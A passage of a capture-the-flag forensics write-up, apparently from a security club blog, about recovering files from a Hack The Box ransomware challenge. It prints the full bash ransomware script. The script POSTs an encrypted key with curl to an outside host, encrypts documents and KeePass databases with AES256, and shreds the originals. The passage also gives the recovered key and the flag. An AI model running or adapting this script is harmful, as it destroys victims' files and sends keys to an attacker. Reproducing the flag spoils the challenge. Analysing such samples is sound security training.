ZHUzNjMzRzVmgrN1RNUHRHZTdCbHR4ZjI5UzhMd1dudUt1R00rNUFZMEVZOXJYK3dFTUFLNW0vdm1TCmJTb3p0cXFzV1dpNTN1UFJ3UWxqejZHd0g5emhDbENzRW4xZk9QRktZc0JLcmpFQXpsRUZ2VTh3UGhiVm5EdFAKNERtRFp0Wk9UN3pxSjFseUdXUnliOEdjSnpHWXYvRDJVcnZaMVZCUHBoUlVNU2lQZUljNnk0ckI5Vkh5ZjVRNApwdmFub1hlWVkyYVd4S09zdUl2aUJDRkJWalE0Q0dqbUlBMkZOdWFwZEFnSFZJRHZmTU9nblorbnRFNVdhSWZlCjBCdzlMK05OaTloV04vODlnMG9BeDNDVksybVVPUUJ3Z3NBR1kvdFdjc3lGc3YwWlRBLzczRXg0U05VMXdtUG0KeDNheVVsTjhhRENPMlhaanBpMitLY0NOV2hpYmFKbWp5SkZzK3ZIbzJ6TlpDaExGQWtObmZzSHczdHdTU1ZNQQovck56UE0zU2xhb2QvK2dDY0xEUEh0Y0xpcGF3RXlHcWRtd0hBakpTaEt4eFJpaG1YbzVoRjc1bUF3ckNSL2g5Ck1zb0phOW5DMDF5NXBMemZ4c1ZZRzBneXhyamdLVEpGcElCWDJ5SmtPSHlDMndrWUg2aVZxbDExMnRmOHpNZ3gKYWFmQnFqenNMZWNzcXZzYzA5SHRnZnpWZVM1bXpUN2dLajMxeXNuNjZxMCtmOVBXREJ5RzF3aHVUUUFSQVFBQgppUUcyQkJnQkNnQWdGaUVFRldlak1OSmpVSTN5Q0FCSS8wY05HNUtVWWxZRkFtUGExL3NDR3d3QUNna1EvMGNOCkc1S1VZbFpBOUF3QXRNOTVITk5QcWVqR0RwZmhmSUhWdy9HZkhKaGRpeUQ2NXJxWE5XckZFdzVJYVpVeWl0WUMKUFVPbmE3bGtFSW05aEkyaVpKc04vWEVnMWw5TVhpRzBHTzRqTjhvT0ZybnNHb3NNbUNJS2p3eDR5US9oTndKNQpuM3Fvb1cvRlErQTRQNmkvZDJERGtZK2NEdDhpUm1LTUhLa3dZcU9VV0hob2wwT3JwT1lYUUIrTjdwSFg5dCtaCld0NjU5YkxpUzRlcGt6YzRDUm9OSHZhZnY0bFdKaGJtWnowSitFd0U2QlBoNWN4WDA3aUEwbDdobjBQSW1jZ0gKKzdUL0xlZWZseHNKeXpiUWlXakd0UC9Ia2ZpbGg5ZStjSjZWcjlsNSs5SEFHaVB1L0JWK05qcTdCb2Mwc0lUKwpLbGFkVzJoUFV1WnQyeSsxaWg3NUtrZGdWb3k0amhhMENsTE9aQ1ZtODhNTXRLWXJ0S2ttZUkrMUtJVFE1NWhGCmRuYWZtaWdxcjB5M0dVTVBseFRRVmR5ZElnRHNzSXhWdlptWG8rd3lNbE4vL0hTS1Q5ZnpwOHhQL1g5bjhZWDcKcmZ1SkdBd3JKbWVLVFdHRWhrOUdOLzk2RTV6N2JOS2RQcWI5WHN3enF4QjMvVTBPWGRHemNpK1h6VURVVVI5cwo3S2dCZ3VXY0xXYWUKPXFqVzcKLS0tLS1FTkQgUEdQIFBVQkxJQyBLRVkgQkxPQ0stLS0tLQ=="
 echo $tljyVe4o7K3yOdj | base64 --decode | gpg --import
 echo -e "5\ny\n" | gpg --command-fd 0 --edit-key "RansomKey" trust
}
MMYPE1MNIGuGPBmyCUo6() {
 DhQ52B6UugM1WcX=`strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 16 | tr -d '\n'`
 echo $DhQ52B6UugM1WcX > RxgXlDqP0h3baha
 gpg --batch --yes -r "RansomKey" -o qgffrqdGlfhrdoE -e RxgXlDqP0h3baha
 shred -u RxgXlDqP0h3baha
 curl --request POST --data-binary "@qgffrqdGlfhrdoE" https://files.pypi-install.com/packages/recv.php

 for i in *.txt *.doc *.docx *.pdf *.kdbx *.gz *.rar;
 do
 if [[ ${i} != *"*."* ]];then
 echo $DhQ52B6UugM1WcX | gpg --batch --yes -o "$i".a59ap --passphrase-fd 0 --symmetric --cipher-algo AES256 "$i" 2>/dev/null
 shred -u "$i" 2>/dev/null
 fi
 done
 unset DhQ52B6UugM1WcX
}
v0nPa1GinWR3Dr27cnmT() {
 # Just a function to print strings
}
ExoPFDWb3uT189e() {
 uFMHx73AXNF6CTsbtzYM
 MMYPE1MNIGuGPBmyCUo6
 v0nPa1GinWR3Dr27cnmT
}
if [[ "$(whoami)" == "developer7669633432" ]]; then
 if [ -x "$(command -v gpg)" ]; then
 ExoPFDWb3uT189e
 exit 1
 fi
fi

2. Bash script analyze

I used ChatGPT to analyze the script, it was much faster than if I analyzed it by myself. There are two functions that we need to notice, uFMHx73AXNF6CTsbtzYM and MMYPE1MNIGuGPBmyCUo6.

The uFMHx73AXNF6CTsbtzYM function decodes a base64 string and imports as a key using GPG.

The MMYPE1MNIGuGPBmyCUo6 function will generate a random string of 16 bytes consists of only alphabet and numbers. Then, it encrypts all files with GPG using the random string as the private key.

Now to find private key, we will immediately think of using volatility3 to find the key in the mem file, as they are the only file that hasn’t been used. However, in this writeup I will present to you an unintended solution as I didn’t figure out to solve it using vol3 in contest’s time.

My unintended solution was a famous trick in forensics, grep. I used GPT to generate a grep command to find a string of 16 bytes consists of only alphabet and numbers.

I try some sussy strings and found that the private key is wJ5kENwyu8amx2RM. Now we just need to decrypt the flag file and get the flag.

Flag is HTB{n0_n33d_t0_r3turn_th3_r3l1c_1_gu3ss}

forensics | BKISC Blogs